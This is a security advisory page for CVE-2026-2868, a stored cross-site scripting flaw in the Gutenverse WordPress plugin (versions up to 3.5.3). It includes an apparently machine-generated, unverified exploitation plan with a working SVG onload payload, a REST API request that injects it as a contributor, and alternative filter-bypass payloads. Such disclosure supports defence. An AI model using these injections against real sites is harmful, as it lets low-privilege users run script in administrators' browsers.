CVE-2026-2868

Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem <= 3.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'separatorIconSVG'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.6.0
Patched in
1d
Time to patch

Description

The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'separatorIconSVG' parameter in versions up to, and including, 3.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.5.3
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected plugingutenverse

What Changed in the Fix

Changes introduced in v3.6.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-2868 ## 1. Vulnerability Summary **CVE-2026-2868** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem** plugin (versions <= 3.5.3). The vulnerability exists because the plugin fails to s…

Show full research plan

Exploitation Research Plan - CVE-2026-2868

1. Vulnerability Summary

CVE-2026-2868 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin (versions <= 3.5.3). The vulnerability exists because the plugin fails to sanitize or escape the separatorIconSVG attribute used in its Gutenberg blocks. Authenticated users with Contributor-level permissions or higher can inject malicious scripts into this attribute. When the block is rendered on the frontend or within the editor, the script executes in the context of the viewing user (e.g., an Administrator).

2. Attack Vector Analysis

  • Endpoint: WordPress REST API for posts/pages (/wp-json/wp/v2/posts or /wp-json/wp/v2/pages).
  • Vulnerable Parameter: separatorIconSVG (within the block attributes JSON in post_content).
  • Authentication: Required (Contributor-level or higher).
  • Preconditions: The plugin must be active. The attacker needs to be able to create or edit a post/page.

3. Code Flow

  1. Input: A Contributor user saves a post containing a Gutenverse block (likely gutenverse/section or gutenverse/column) where the separatorIconSVG attribute is populated with a malicious SVG/HTML string.
  2. Persistence: The block attributes are stored as JSON comments in the post_content field within the wp_posts table (e.g., <!-- wp:gutenverse/section {"separatorIconSVG":"<svg/onload=alert(1)>"} -->).
  3. Processing: When a user views the post, WordPress parses the blocks.
  4. Sink: The Gutenverse plugin's PHP rendering logic (likely a render_callback for dynamic blocks or the saved static HTML) retrieves the separatorIconSVG attribute and echoes it directly into the page output without using wp_kses() or esc_html().

4. Nonce Acquisition Strategy

To exploit this via the REST API as a Contributor:

  1. Login: Authenticate as the Contributor user.
  2. Access Editor: Navigate to wp-admin/post-new.php.
  3. Extract REST Nonce: Use browser_eval to extract the wp_rest nonce from the global wpApiSettings object.
    • Command: browser_eval("window.wpApiSettings.nonce")
  4. Alternative (Frontend): If the plugin localizes data for the frontend, it might be in window.gutenverseCoreFrontend?.nonce or similar, but for saving posts, the standard WordPress wp_rest nonce is the primary target.

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Use the browser_navigate and browser_eval tools to log in as a Contributor and grab the REST API nonce.

Step 2: Identify Target Block

Based on the attribute name, the most likely block is gutenverse/section.
The block markup should look like this:

<!-- wp:gutenverse/section {"elementId":"guten-poc-1","separatorIconSVG":"<svg/onload=alert(document.domain)>"} -->
<div class="guten-element guten-section guten-poc-1">
    <div class="guten-shape-divider guten-shape-divider-top"></div>
</div>
<!-- /wp:gutenverse/section -->

Step 3: Inject Payload via REST API

Send a POST request to /wp-json/wp/v2/posts to create a new post with the malicious content.

  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
{
    "title": "XSS Test",
    "content": "<!-- wp:gutenverse/section {\"elementId\":\"xss-id\",\"separatorIconSVG\":\"<svg/onload=alert(1)>\"} --><div class=\"guten-element guten-section xss-id\"></div><!-- /wp:gutenverse/section -->",
    "status": "publish"
}

Note: Contributors cannot usually "publish" directly if they lack the publish_posts capability, so use "status": "pending" or "draft" if publish fails.

Step 4: Trigger XSS

Navigate to the newly created post's URL. If the post is in "pending" or "draft" status, view it via the preview link or log in as an Admin to view it.

6. Test Data Setup

  1. Role: Create a user with the contributor role.
  2. Plugin: Ensure gutenverse version 3.5.3 is installed and active.
  3. Page Creation: No specific pre-existing pages are required, as the attacker creates the content.

7. Expected Results

  • The REST API should return a 201 Created or 200 OK response.
  • When viewing the post on the frontend, the browser should execute alert(1).
  • The HTML source of the rendered page should contain the raw <svg/onload=alert(1)> string inside a container related to Gutenverse separators.

8. Verification Steps

  1. Database Check: Use wp-cli to verify the payload is stored:
    wp post list --post_type=post --field=post_content | grep "separatorIconSVG"
  2. Frontend Check: Use http_request to fetch the post content and verify the payload isn't escaped:
    http_request(url="[POST_URL]") -> Verify response body contains <svg/onload=alert(1)>.

9. Alternative Approaches

  • Payload Variance: If <svg/onload...> is filtered, try:
    • "><img src=x onerror=alert(1)>
    • <iframe src="javascript:alert(1)">
    • Base64 encoding the SVG: data:image/svg+xml;base64,... (if the plugin handles URLs/Data URIs poorly).
  • Editor XSS: Open the draft as an Administrator. The Gutenberg editor itself may render the attribute, leading to an Admin-context XSS without needing to visit the frontend.
  • Different Blocks: If gutenverse/section doesn't work, try gutenverse/column or gutenverse/divider using the same attribute name.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.